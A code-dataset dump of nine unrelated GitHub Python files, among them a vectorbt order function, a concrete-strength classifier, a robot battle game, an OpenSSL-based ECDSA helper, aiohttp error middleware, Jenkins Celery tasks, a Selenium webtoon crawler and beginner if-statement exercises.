{"seq_id":"71673327463","text":"from numba import njit\nimport numpy as np\nfrom vectorbt.portfolio import nb as portfolio_nb\nfrom vectorbt.portfolio.enums import SizeType\n\n\n@njit\ndef order_func_nb(c, size, price, commperc, slippage):\n    \"\"\"Place an order (= element within group and row).\"\"\"\n    # Get column index within group (if group starts at column 58 and current column is 59, \n    # the column within group is 1, which can be used to get size)\n    group_col = c.col - c.from_col\n    return portfolio_nb.order_nb(\n        size=size[group_col], \n        price=price[c.i, c.col],\n        size_type=SizeType.TargetAmount,\n        fees=commperc,\n        slippage=slippage,\n        lock_cash=False,\n        log=True,\n    )\n","repo_name":"jaythequant/VBToptimizers","sub_path":"optimizers/simulations/strategies/components/orders.py","file_name":"orders.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"36"}
{"seq_id":"41587309415","text":"import numpy as np\r\nimport pandas as pd\r\nfrom sklearn import *\r\nfrom sklearn.tree import DecisionTreeClassifier\r\nfrom sklearn.metrics import accuracy_score\r\nfrom reportlab import platypus\r\nfrom reportlab.lib.styles import ParagraphStyle as PS\r\nfrom reportlab.platypus import SimpleDocTemplate\r\n\r\nimport sqlite3\r\ncon = sqlite3.connect('concrete1')\r\ntraining_data = np.genfromtxt('conc.csv', delimiter=',')\r\ninputs = training_data[:,:-1]\r\noutputs = training_data[:, -1]\r\ntraining_inputs = inputs[:1000]\r\ntraining_outputs = outputs[:1000]\r\ntesting_inputs = inputs[1000:]\r\ntesting_outputs = outputs[1000:]\r\nclassifier = DecisionTreeClassifier()\r\nclassifier.fit(training_inputs, training_outputs)\r\nwith con:\r\n  cur = con.cursor()\r\n  cur.execute('SELECT * FROM mainingr'); \r\n  result1 = cur.fetchall()\r\n  for row in result1:\r\n    s2 = int(row[0])\r\n    s3 = int(row[1])\r\n    s4 = int(row[2])\r\n    s5 = int(row[3])\r\n  cur.execute('SELECT * FROM otheringr'); \r\n  result2 = cur.fetchall()\r\n  for row in result2:\r\n    s1 = float(row[0])\r\n    s6 = float(row[1])\r\n    s7 = float(row[2])\r\n    s8 = int(row[3])\r\nresult = str(\" \")\r\ntestSet = [[s1,s2,s3,s4,s5,s6,s7,s8]]\r\ntest = pd.DataFrame(testSet)\r\npredictions = classifier.predict(test)\r\nif (int(predictions) ==0):\r\n   result = result + str('Predicted compressive strength range of the given concrete mix is: 1 to 10 MPa')+ \"<br/>\"\r\nelif (int(predictions) ==1):\r\n   result = result + str('Predicted compressive strength range of the given concrete mix is: 11 to 20 MPa')+ \"<br/>\"\r\nelif (int(predictions) ==2):\r\n   result = result + str('Predicted compressive strength range of the given concrete mix is: 21 to 30 MPa')+ \"<br/>\"\r\nelif (int(predictions) ==3):\r\n   result = result + str('Predicted compressive strength range of the given concrete mix is: 31 to 40 MPa')+ \"<br/>\"\r\nelif (int(predictions) ==4):\r\n   result = result + str('Predicted compressive strength range of the given concrete mix is: 41 to 50 MPa')+ \"<br/>\"\r\nelif (int(predictions) ==5):\r\n   result = result + str('Predicted compressive strength range of the given concrete mix is: 51 to 60 MPa')+ \"<br/>\"\r\nelif (int(predictions) ==6):\r\n   result = result + str('Predicted compressive strength range of the given concrete mix is: 61 to 70 MPa')+ \"<br/>\"\r\nelif (int(predictions) ==7):\r\n   result = result + str('Predicted compressive strength range of the given concrete mix is: 71 to 80 MPa')+ \"<br/>\"\r\nelif (int(predictions) ==8):\r\n   result = result + str('Predicted compressive strength range of the given concrete mix is: 81 to 90 MPa')+ \"<br/>\"\r\nelse:\r\n   result = result + str('Predicted compressive strength range of the given concrete mix is: 91 to 100 MPa')+ \"<br/>\"\r\nitems = []\r\nitems.append(platypus.Paragraph(result,PS('body')))\r\ndoc = SimpleDocTemplate('concrep.pdf')\r\ndoc.multiBuild(items)\r\nprint('Concrete Compressive Strength Report Successfully Generated')\r\n","repo_name":"Avinashvarma129/concrete-strength-prediction","sub_path":"report1.py","file_name":"report1.py","file_ext":"py","file_size_in_byte":2878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"12755889510","text":"import argparse\nimport csv\nimport random\nimport subprocess\n\n#classes\nclass Users:\n\tdef __init__( self, name, is_playing ):\n\t\tself.name = name\n\t\tself.is_playing = is_playing\n\nclass Robots:\n\tdef __init__( self, name, hp, attack, defense, owner ):\n\t\tself.name = name\n\t\tself.hp = hp\n\t\tself.attack = attack\n\t\tself.defense = defense\n\t\tself.owner = owner\n\nclass Games:\n\tdef __init__( self, player1, robot1, player2, robot2, winner = None ):\n\t\tself.player1 = player1\n\t\tself.robot1 = robot1\n\t\tself.player2 = player2\n\t\tself.robot2 = robot2\n\t\tself.winner = winner\n\n#loaders\ndef load_users( user_file, use_aws ):\n\tuser_list = []\n\tif use_aws == \"aws\":\n\t\tsubprocess.run([ \"aws\", \"s3\", \"cp\", \"s3://robot-battle-files/users.txt\", user_file ])\n\twith open( user_file, 'r' ) as f:\n\t\treadcsv = csv.reader( f, delimiter=',' )\n\t\tfor row in readcsv:\n\t\t\tuser_list.append( Users( row[0], int(row[1]) ))\n\treturn user_list\n\ndef load_robots( robot_file, use_aws ):\n\trobot_list = []\n\tif use_aws == \"aws\":\n\t\tsubprocess.run([ \"aws\", \"s3\", \"cp\", \"s3://robot-battle-files/robots.txt\", robot_file ])\n\twith open( robot_file, 'r' ) as f:\n\t\treadCSV = csv.reader( f, delimiter=',' )\n\t\tfor row in readCSV:\n\t\t\trobot_list.append( Robots( row[0], int(row[1]), int(row[2]), int(row[3]), row[4] ))\n\treturn robot_list\n\ndef load_games( game_file, use_aws ):\n\tgame_list = []\n\tif use_aws == \"aws\":\n\t\tsubprocess.run([ \"aws\", \"s3\", \"cp\", \"s3://robot-battle-files/games.txt\", game_file ])\n\twith open( game_file, 'r' ) as f:\n\t\treadCSV = csv.reader( f, delimiter=',' )\n\t\tfor row in readCSV:\n\t\t\tgame_list.append( Games( row[0], row[1], row[2], row[3], row[4] ))\n\treturn game_list\n\n#save to file\ndef save_users( user_list, out_file, use_aws ):\n\toutput = []\n\twith open( out_file, 'w' ) as f:\n\t\twriter = csv.writer(f)\n\t\tfor user in user_list:\n\t\t\toutput.append( user.name )\n\t\t\toutput.append( user.is_playing )\n\t\t\twriter.writerow( output )\n\t\t\toutput.clear()\n\tif use_aws == \"aws\":\n\t\tsubprocess.run([ \"aws\", \"s3\", \"cp\", out_file, \"s3://robot-battle-files/users.txt\" ])\n\ndef save_robots( robot_list, out_file, use_aws ):\n\toutput = []\n\twith open( out_file, 'w' ) as f:\n\t\twriter = csv.writer(f)\n\t\tfor robot in robot_list:\n\t\t\toutput.append( robot.name )\n\t\t\toutput.append( robot.hp )\n\t\t\toutput.append( robot.attack )\n\t\t\toutput.append( robot.defense )\n\t\t\toutput.append( robot.owner )\n\t\t\twriter.writerow( output )\n\t\t\toutput.clear()\n\tif use_aws == \"aws\":\n\t\tsubprocess.run([ \"aws\", \"s3\", \"cp\", out_file, \"s3://robot-battle-files/robots.txt\" ])\n\ndef save_games( game_list, out_file, use_aws ):\n\toutput = []\n\twith open( out_file, 'w' ) as f:\n\t\twriter = csv.writer(f)\n\t\tfor game in game_list:\n\t\t\toutput.append( game.player1 )\n\t\t\toutput.append( game.robot1 )\n\t\t\toutput.append( game.player2 )\n\t\t\toutput.append( game.robot2 )\n\t\t\toutput.append( game.winner )\n\t\t\twriter.writerow( output )\n\t\t\toutput.clear()\n\tif use_aws == \"aws\":\n\t\tsubprocess.run([ \"aws\", \"s3\", \"cp\", out_file, \"s3://robot-battle-files/games.txt\" ])\n\n#commands\ndef show_commands():\n\tprint( \"List of commands\" )\n\tprint( \"0 - exit\" )\n\tprint( \"1 - play\" )\n\tprint( \"2 - game history\" )\n\tprint( \"3 - user history\" )\n\tprint( \"4 - robot history\" )\n\tprint( \"5 - user's robots\" )\n\ndef game_history( game_list, fetch_type = None, name = None ):\n\tprint( \"Player1, Robot1, Player2, Robot2, Winner\" )\n\tfor game in game_list:\n\t\tto_display = False\n\t\tif ( fetch_type == \"user\" and ( game.player1 == name or game.player2 == name ))   \\\n\t\t   or ( fetch_type == \"robot\" and ( game.robot1 == name or game.robot2 == name )) \\\n\t\t   or ( fetch_type is None ):\n\t\t\tto_display = True\n\t\t\n\t\tif to_display:\t\n\t\t\tprint( game.player1, end = ', ' )\n\t\t\tprint( game.robot1, end = ', ' )\n\t\t\tprint( game.player2, end = ', ' )\n\t\t\tprint( game.robot2, end = ', ' )\n\t\t\tif game.winner:\n\t\t\t\tprint( game.winner )\n\t\t\telse:\n\t\t\t\tprint( \"Game in Progress\" )\n\ndef get_robots( robot_list, name ):\n\tprint( \"Name, HP, Attack, Defense\" )\n\tfor robot in robot_list:\n\t\tif robot.owner == name:\n\t\t\tprint( robot.name, end = ', ' )\n\t\t\tprint( robot.hp, end = ', ' )\n\t\t\tprint( robot.attack, end = ', ' )\n\t\t\tprint( robot.defense )\n\ndef play( user_list, robot_list, game_list ):\n\t\n\tavailable_user_num = []\n\tprint( \"Available users:\" )\n\tfor idx, user in enumerate( user_list ):\n\t\tif user.is_playing == 0:\n\t\t\tprint( str( idx ) + \" \" + user.name )\n\t\t\tavailable_user_num.append( idx )\n\t\n\tp1_num = -1\n\tr1_num = -1\n\tr1_hp = -1\n\t\n\tis_valid_user = False\n\twhile not is_valid_user:\n\t\tuser_num = int( input( \"Input User Num:\" ))\n\t\tif user_num in available_user_num:\n\t\t\tp1_num = user_num\n\t\t\tuser_list[p1_num].is_playing = 1\n\t\t\tavailable_user_num.remove( p1_num )\t\t\t\n\t\t\tis_valid_user = True\n\n\t\t\tp1_robot_nums = []\n\t\t\tprint( user_list[user_num].name + \"'s robots:\" )\n\t\t\tfor idx, robot in enumerate( robot_list ):\n\t\t\t\tif robot.owner == user_list[p1_num].name:\n\t\t\t\t\tprint( str( idx ) + \" \" + robot.name )\n\t\t\t\t\tp1_robot_nums.append( idx ) \n\t\t\t\n\t\t\tis_valid_robot = False\n\t\t\twhile not is_valid_robot:\n\t\t\t\trobot_num = int( input( \"Choose the robot num:\" ))\n\t\t\t\tif robot_num in p1_robot_nums:\n\t\t\t\t\tr1_num = robot_num\n\t\t\t\t\tr1_hp = robot_list[robot_num].hp\n\t\t\t\t\tis_valid_robot = True\n\t\t\t\telse:\n\t\t\t\t\tprint( \"Robot Num Invalid\" )\n\n\t\telse:\n\t\t\tprint( \"User Not Available\" )\n\n\tp2_num = random.choice( available_user_num )\n\tuser_list[p2_num].is_playing = 1\n \t\n\tp2_robot_nums = []\n\tfor idx, robot in enumerate( robot_list ):\n\t\tif robot.owner == user_list[p2_num].name:\n\t\t\tp2_robot_nums.append( idx )\n\n\tr2_num = random.choice( p2_robot_nums )\n\tr2_hp = robot_list[r2_num].hp\n\t\n\tgame_num = len( game_list )\n\tgame_list.append( Games( user_list[p1_num].name, robot_list[r1_num].name, \\\n\t\t\t\t\t\tuser_list[p2_num].name, robot_list[r2_num].name,None ))\n\n\tprint( \"Starting Battle...\" )\n\tprint( \"Player 1: \" + user_list[p1_num].name )\n\tprint( \"Robot 1: \" + robot_list[r1_num].name )\n\tprint( \"Player 2: \" + user_list[p2_num].name )\n\tprint( \"Robot 2: \" + robot_list[r2_num].name )\n \n\tplayer_turn = random.randint( 1, 2 )\n\twhile r1_hp > 0 and r2_hp > 0:\n\t\tif player_turn == 1:\n\t\t\tprint( \"Player 1's turn\" )\n\t\t\tr2_hp -= robot_list[r1_num].attack - robot_list[r2_num].defense  \n\t\t\tprint( \"Damage: \" + str( robot_list[r1_num].attack ) + \"-\" + str( robot_list[r2_num].defense ))\n\t\t\tplayer_turn = 2\n\t\telse:\n\t\t\tprint( \"Player 2's turn\" )\n\t\t\tr1_hp -= robot_list[r2_num].attack - robot_list[r1_num].defense\n\t\t\tprint( \"Damage: \" + str( robot_list[r2_num].attack ) + \"-\" + str( robot_list[r1_num].defense ))\n\t\t\tplayer_turn = 1\t\n\t\t\n\tif r1_hp > 0:\n\t\tprint( \"Player 1 wins\" )\n\t\tgame_list[game_num].winner = user_list[p1_num].name\n\telse:\n\t\tprint( \"Player 2 wins\" )\n\t\tgame_list[game_num].winner = user_list[p2_num].name\n\t\n\tuser_list[p1_num].is_playing = 0\n\tuser_list[p2_num].is_playing = 0\n\ndef main(args):\n\tprint(\"Robot Battle!\")\n\n\tprint( \"Loading Users...\" )\n\tuser_list = load_users( args.user_file, args.use_aws )\n\n\tprint( \"Loading Robots...\" )\n\trobot_list = load_robots( args.robot_file, args.use_aws )\n\n\tprint( \"Loading Games History...\" )\n\tgame_list = load_games( args.game_file, args.use_aws )\n\t\n\tshow_commands()\n\tcommand = input( \"Input command: \" )\n\twhile command != \"0\":\n\t\tif command == \"1\":\n\t\t\tplay( user_list, robot_list, game_list)\n\t\telif command == \"2\":\n\t\t\tgame_history( game_list )\n\t\telif command == \"3\":\n\t\t\tname = input( \"User Name: \" )\n\t\t\tgame_history( game_list, \"user\", name )\n\t\telif command == \"4\":\n\t\t\tname = input ( \"Robot Name: \" )\n\t\t\tgame_history( game_list, \"robot\", name )\n\t\telif command == \"5\":\n\t\t\tname = input ( \"User Name: \" )\n\t\t\tget_robots( robot_list, name )\n\t\t\n\t\tprint()\t\n\t\tshow_commands()\n\t\tcommand = input( \"Input command: \" )\n\n\tprint( \"Saving Users...\" )\n\tsave_users( user_list, args.user_file, args.use_aws )\n\n\tprint( \"Saving Robots...\" )\n\tsave_robots( robot_list, args.robot_file, args.use_aws )\n\n\tprint( \"Saving Games...\" )\n\tsave_games( game_list, args.game_file, args.use_aws )\n\nif __name__ == \"__main__\":\n\tparser = argparse.ArgumentParser( description = \"Robot Battle\" )\n\tparser.add_argument( '--user_file', dest = \"user_file\", required = True )\n\tparser.add_argument( '--robot_file', dest = \"robot_file\", required = True )\n\tparser.add_argument( '--game_file', dest = \"game_file\", required = True )\n\tparser.add_argument( '--run_on', dest = \"use_aws\", default = \"cmd\" ) \n\t\n\targs = parser.parse_args()\n\t\n\tmain(args)\n","repo_name":"jheremeyao/robot-battle","sub_path":"robot_battle.py","file_name":"robot_battle.py","file_ext":"py","file_size_in_byte":8216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"16412258398","text":"str1 = \"千山鸟飞绝\"\nstr2 = \"万锦人踪灭\"\nstr3 = \"孤舟蓑笠翁\"\nstr4 = \"独钓寒江雪\"\nvarse = [list(str1), list(str2), list(str3), list(str4)]\nprint(\"\\n-- 横板 --\\n\")\nfor i in range(4):\n    for j in range(5):\n        if j == 4:\n            print(varse[i][j])\n        else:\n            print(varse[i][j], end=\"\")\n\nvarse.reverse()\nprint(\"\\n-- 竖版 --\\n\")\nfor i in range(5):\n    for j in range(4):\n        if j == 3:\n            print(varse[j][i])\n        else:\n            print(varse[j][i], end=\"\")\n","repo_name":"zhangxinzhou/PythonLearn","sub_path":"helloworld/chapter04/demo02.10.py","file_name":"demo02.10.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"26851048192","text":"#!/usr/bin/env python3\n\n\"\"\"l_crypto.py: define CryptoTool for cryptography managment\nUses only bytes object that can be integrated in bytes-like object\nThese methods use openssl subprocess and temp files to sign, cypher and verify\"\"\"\n\n\n\n\nimport \t\tsubprocess\n\nfrom \t\tl_logging \t\t\timport \t\tlog\nfrom \t\tl_files \t\t\timport \t\ttemp_file_name\n\n\necdsaCurveName \t\t\t\t\t\t\t= \"secp256k1\"\nprivateKeyLength \t\t\t\t\t\t= 118\nprivateKeyOnlyLength \t\t\t\t\t= 32\nprivateKeyOnlyStartIndex \t\t\t\t= 7\npublicKeyLength \t\t\t\t\t\t= 88\npublicKeyOnlyLength \t\t\t\t\t= 64\npublicKeyOnlyStartIndex \t\t\t\t= 24\npublicKeyOnlyStartIndexInPrivateKey \t= 54\necdsaHashName \t\t\t\t\t\t\t= \"sha256\"\nstandardHashName \t\t\t\t\t\t= \"sha256\"\n\n\nclass CryptoTool():\n\n\tdef __new__(cls):\n\t\t\tlog.error(\"CryptoTool must not be instanced\", who=\"CryptoTool\")\n\n\tdef generate_private_key():\n\t\tcmd = [\"openssl\", \"ecparam\", \"-name\", ecdsaCurveName, \"-genkey\", \"-outform\", \"DER\", \"-noout\"]\n\t\tprocess = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\t\t(result, error) = process.communicate()\n\t\tif error != b'':\n\t\t\tlog.error(error.decode().replace(\"\\n\",\" \\\\n \"), who=\"CryptoTool\")\n\t\tlog.info(\"New private key generated\", who=\"CryptoTool\")\n\t\treturn result\n\t\t\n\n\n\tdef derive_public_key(privateKey):\n\t\tcmd = [\"openssl\", \"ec\", \"-inform\", \"DER\", \"-outform\", \"DER\", \"-pubout\"]\n\t\tprocess = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\t\tprocess.stdin.write(privateKey)\n\t\t(result, error) = process.communicate()\n\t\tif error != b'read EC key\\nwriting EC key\\n':\n\t\t\tlog.error(error.decode().replace(\"\\n\",\" \\\\n \"), who=\"CryptoTool\")\n\t\tlog.info(\"Public key derivated\", who=\"CryptoTool\")\n\t\treturn result\n\n\n\n\tdef check_keys(privateKey, publicKey):\n\t\treturn privateKey[publicKeyOnlyStartIndexInPrivateKey:publicKeyOnlyStartIndexInPrivateKey+publicKeyOnlyLength] == publicKey[publicKeyOnlyStartIndex:publicKeyOnlyStartIndex+publicKeyOnlyLength]\n\n\n\n\tdef sign(*, m, k):\n\n\t\t# create key temp file\n\t\tkeyFileName = temp_file_name()\n\t\tkeyFile = open(keyFileName, 'wb')\n\t\tkeyFile.write(k)\n\t\tkeyFile.close()\n\n\t\t# sign message\n\t\tcmd = [\"openssl\", \"dgst\", \"-\"+ecdsaHashName, \"-sign\", keyFileName, \"-keyform\", \"DER\"]\n\t\tprocess = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\t\tprocess.stdin.write(m)\n\t\t(result, error) = process.communicate()\n\t\tif error != b'':\n\t\t\tlog.error(error.decode().replace(\"\\n\",\" \\\\n \"), who=\"CryptoTool\")\n\n\t\t# remove temp files\n\t\tsubprocess.run([\"rm\", keyFileName])\n\n\t\treturn result\n\n\n\n\tdef verify(*, m, s, k):\n\n\t\t# create signature temp file\n\t\tsignatureFileName = temp_file_name()\n\t\tsignatureFile = open(signatureFileName, 'wb')\n\t\tsignatureFile.write(s)\n\t\tsignatureFile.close()\n\n\t\t# create key temp file\n\t\tkeyFileName = temp_file_name()\n\t\tkeyFile = open(keyFileName, 'wb')\n\t\tkeyFile.write(k)\n\t\tkeyFile.close()\n\n\t\t# verify signature\n\t\tcmd = [\"openssl\", \"dgst\", \"-\"+ecdsaHashName, \"-verify\", keyFileName, \"-keyform\", \"DER\", \"-signature\", signatureFileName]\n\t\tprocess = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\t\tprocess.stdin.write(m)\n\t\t(result, error) = process.communicate()\n\t\t#if error != b'':\n\t\t#\tlog.error(error.decode().replace(\"\\n\",\" \\\\n \"), who=\"CryptoTool\")\n\n\t\t# remove temp files\n\t\tsubprocess.run([\"rm\", signatureFileName, keyFileName])\n\n\t\treturn \"Verified OK\" in result.decode()\n\n\n\n\tdef prverify(*, m, s, k):\n\t\tlog.error(\"prverify is not yet implemented\", who=\"CryptoTool\")\n\n\n\n\tdef key_to_hex(key):\n\t\tif type(key) != bytes:\n\t\t\traise TypeError(\"invalid type: '{}' instead 'bytes'\".format(type(key).__name__))\n\t\tif   len(key) == privateKeyLength:\n\t\t\treturn key[privateKeyOnlyStartIndex:privateKeyOnlyStartIndex+privateKeyOnlyLength].hex()\n\t\telif len(key) == publicKeyLength:\n\t\t\treturn key[publicKeyOnlyStartIndex:publicKeyOnlyStartIndex+publicKeyOnlyLength].hex()\n\t\telse:\n\t\t\traise Exception(\"argument does not seem to be a key: wrong length\")\n\n\n\tdef hash(datas):\n\t\tcmd = [\"openssl\", \"dgst\", \"-\"+standardHashName]\n\t\tprocess = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\t\tprocess.stdin.write(datas)\n\t\t(result, error) = process.communicate()\n\t\tif error != b'':\n\t\t\tlog.error(error.decode().replace(\"\\n\",\" \\\\n \"), who=\"CryptoTool\")\n\t\thexString = result.decode().split(\"= \")[1]    # select the string after the \"= \"\n\t\thexString[:-1]                                # remove \\n at the end\n\t\treturn bytes.fromhex(hexString)\n\n","repo_name":"maxilix/blockserv","sub_path":"l_crypto.py","file_name":"l_crypto.py","file_ext":"py","file_size_in_byte":4446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"25237325418","text":"import enum\nimport logging\n\nfrom aiohttp import web\n\nfrom aiohttp.web_exceptions import (\n    HTTPBadRequest, HTTPClientError\n)\nfrom aiohttp_swagger3.swagger_route import RequestValidationFailed\n\n\n@enum.unique\nclass ApiErrorCode(enum.Enum):\n    validation_error = 'validation_error'\n    schema_validation_error = 'schema_validation_error'\n    db_error = 'db_error'\n    server_error = 'server_error'\n    logical_error = 'logical_error'\n\n\nclass ApiBaseError(Exception):\n    def __init__(self, error_code: ApiErrorCode, error_message: str, context: dict, http_status_code: int):\n        self.status = 'error'\n        self.error_code = error_code\n        self.error_message = error_message\n        if context is None:\n            context = {}\n        self.context = context\n        self.http_status_code = http_status_code\n\n    def as_dict(self) -> dict:\n        data = {\n            'status': self.status,\n            'error_code': str(self.error_code.name),\n            'error_message': self.error_message,\n            'context': self.context\n        }\n        return data\n\n\n@web.middleware\nasync def error_middleware(request: web.Request, handler) -> web.StreamResponse:\n    try:\n        return await handler(request)\n    except RequestValidationFailed as e:\n        err = ApiValidationError(\n            error_message=\"Invalid params in body\",\n            error_code=ApiErrorCode.schema_validation_error,\n            context=e.errors\n        )\n        return web.json_response(status=err.http_status_code, data=err.as_dict())\n    except ApiBaseError as err:\n        return web.json_response(status=err.http_status_code, data=err.as_dict())\n    except HTTPBadRequest as e:\n        err = ApiValidationError(\n            error_message=str(e),\n            context={'reason': e.reason}\n        )\n        return web.json_response(status=err.http_status_code, data=err.as_dict())\n    except HTTPClientError:\n        raise\n\n    except Exception as e:\n        logging.exception(f\"Internal server error. Error: {e}\")\n        err = ApiInternalError(\n            error_message='Internal server error',\n            context={'Exception': str(e)}\n        )\n        return web.json_response(status=err.http_status_code, data=err.as_dict())\n\n\nclass ApiValidationError(ApiBaseError):\n    def __init__(self, error_message: str, error_code: ApiErrorCode = ApiErrorCode.validation_error, context: dict=None):\n        super(ApiValidationError, self).__init__(error_code, error_message, context, 400)\n\n\nclass ApiInternalError(ApiBaseError):\n    def __init__(self, error_message: str, error_code: ApiErrorCode = ApiErrorCode.server_error, context: dict=None):\n        super(ApiInternalError, self).__init__(error_code, error_message, context, 500)\n\n\nclass ApiLogicalError(ApiBaseError):\n    def __init__(self, error_message: str, error_code: ApiErrorCode = ApiErrorCode.logical_error, context: dict=None):\n        super(ApiLogicalError, self).__init__(error_code, error_message, context, 420)\n","repo_name":"drednout/inventory_service","sub_path":"src/error.py","file_name":"error.py","file_ext":"py","file_size_in_byte":2969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"41019679069","text":"import json\nfrom datetime import timedelta\n\nimport structlog\nfrom celery import shared_task\nfrom django.apps import apps\n\nfrom .celery import jbi_parse_buildinfo\nfrom .celery import jbi_parse_hotfix\nfrom .celery import process_result\nfrom .conf import settings\nfrom .utils import is_download_artifacts\nfrom .utils import jenkins_get_artifact\nfrom .utils import jenkins_get_build\nfrom .utils import jenkins_get_console\nfrom .utils import jenkins_get_env\nfrom .utils import jenkins_remove_project_ppa\nfrom tracker.conf import Tracker\n\nlogger = structlog.get_logger(__name__)\n\n\n@shared_task(bind=True)\ndef jenkins_remove_project(self, jbi_id):\n    JenkinsBuildInfo = apps.get_model(\"repoapi\", \"JenkinsBuildInfo\")\n    jbi = JenkinsBuildInfo.objects.get(id=jbi_id)\n    structlog.contextvars.bind_contextvars(\n        jbi=str(jbi),\n        result=jbi.result,\n        gerrit_eventtype=jbi.gerrit_eventtype,\n    )\n    if (\n        jbi.jobname.endswith(\"-repos\")\n        and jbi.result == \"SUCCESS\"\n        and jbi.gerrit_eventtype == \"change-merged\"\n    ):\n        try:\n            jenkins_remove_project_ppa(jbi.param_ppa, jbi.source)\n            logger.info(\"triggered job for removal\")\n        except FileNotFoundError as exc:\n            logger.warn(\"source is not there yet, try again in 60 secs\")\n            raise self.retry(exc=exc, countdown=60)\n    else:\n        logger.info(\"skip removal\")\n\n\n@shared_task(ignore_result=True)\ndef jbi_get_artifact(jbi_id, jobname, buildnumber, artifact_info):\n    path = jenkins_get_artifact(jobname, buildnumber, artifact_info)\n    if path.name == settings.HOTFIX_ARTIFACT:\n        if settings.TRACKER_PROVIDER == Tracker.NONE:\n            logger.info(\"no tracker defined, skip hotfix management\")\n            return\n        jbi_parse_hotfix.delay(jbi_id, str(path))\n\n\n@shared_task(ignore_result=True)\ndef get_jbi_files(jbi_id, jobname, buildnumber):\n    jenkins_get_console(jobname, buildnumber)\n    path_envVars = jenkins_get_env(jobname, buildnumber)\n    path_build = jenkins_get_build(jobname, buildnumber)\n    jbi_parse_buildinfo.delay(jbi_id, str(path_build))\n    if is_download_artifacts(jobname):\n        with open(path_build) as data_file:\n            data = json.load(data_file)\n        logger.debug(\"job_info\", data=data)\n        for artifact in data[\"artifacts\"]:\n            jbi_get_artifact.delay(jbi_id, jobname, buildnumber, artifact)\n    else:\n        logger.debug(\"skip artifacts download\")\n    if jobname in settings.RELEASE_CHANGED_JOBS:\n        process_result.delay(jbi_id, str(path_envVars))\n\n\n@shared_task(ignore_result=True)\ndef jbi_purge(release, weeks):\n    JenkinsBuildInfo = apps.get_model(\"repoapi\", \"JenkinsBuildInfo\")\n    JenkinsBuildInfo.objects.purge_release(release, timedelta(weeks=weeks))\n    logger.info(f\"purged release {release} jbi older than {weeks} weeks\")\n","repo_name":"sipwise/repoapi","sub_path":"repoapi/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":2835,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"36"}
{"seq_id":"20809327081","text":"import time\nfrom selenium import webdriver\nimport pymysql\n\nconn =pymysql.connect(\n    host='localhost',\n    user='root',\n    password='비밀번호',\n    db='DB이름',\n    charset='utf8'\n)\n\ncursor = conn.cursor()\n\ndriver = webdriver.Chrome('C:/chromedriver.exe')\ndriver.get('https://comic.naver.com/webtoon/list.nhn?titleId=729037&weekday=sun&page=1')\ntime.sleep(2)\n\ntitles = driver.find_elements_by_css_selector('td.title a')\n\nfor title in titles:\n    print(title.text)\n    SQL = \"INSERT INTO `comments`(`title`, `url`) VALUES ('%s', '%s')\" % (title.text, title.get_attribute('href'))\n    cursor.execute(SQL)\n\nconn.commit()\n\n#The problem is that you are using find_element_by_xpath which return only one WebElement (which is not iterable), the find_elements_by_xpath return a list of WebElements.\n#Solution: replace find_element_by_xpath with find_elements_by_xpath","repo_name":"blogSoul/likelion_summary","sub_path":"Python_Crawling/crawling-webtoon.py","file_name":"crawling-webtoon.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"10845747248","text":"# if.py\n\nmoney = True\n\nif money:\n    print(\"택시를\")\n    print(\"타고\")\n    print(\"가라\")\n\n# --------------------------------------\n\nmoney = 2000\n\nif money >= 3000:\n    print(\"택시를 타고 가라\")\nelse:\n    print(\"걸어 가라\")\n\n# --------------------------------------\n\nmoney = 2000\ncard = True\n\nif money > 3000 or card:\n    print(\"택시를 타고 가라\")\nelse:\n    print(\"걸어 가라\")\n\n# --------------------------------------\n\npocket = ['paper', 'cellphone', 'money']\n\nif 'money' in pocket:\n    print(\"택시를 타고 가라\")\nelse:\n    print(\"걸어 가라\")\n\n# --------------------------------------\n\nif 'card' not in pocket:\n    print(\"걸아 가라\")\nelse:\n    print(\"버스를 타고 가라\")\n\n\n# --------------------------------------\n\npocket = ['paper', 'money', 'cellphone']\n\nif 'money' in pocket:\n    pass\nelse:\n    print(\"카드를 꺼내라\")\n\n\n# --------------------------------------\n\npocket = ['paper', 'cellphone']\ncard = True\n\nif 'money' in pocket:\n    print(\"택시를 타고 가라\")\nelif 'card' in pocket:\n    print(\"택시를 타고 가라\")\nelse:\n    print(\"걸어 가라\")\n\n# --------------------------------------\n\npocket = ['paper', 'money', 'cellphone']\n\nif 'money' in pocket: pass\nelse: print(\"카드를 거내라\")\n\n# --------------------------------------\n\nscore = 65\nif score >= 60:\n    message = \"success\"\nelse:\n    message = \"failure\"\nprint(message)\n\n# --------------------------------------\n\nscore = 40\nmessage = \"success\" if score >= 60 else \"failure\"\nprint(message)\n","repo_name":"CheolYongLee/jump_to_python","sub_path":"Chapter_3/if.py","file_name":"if.py","file_ext":"py","file_size_in_byte":1522,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
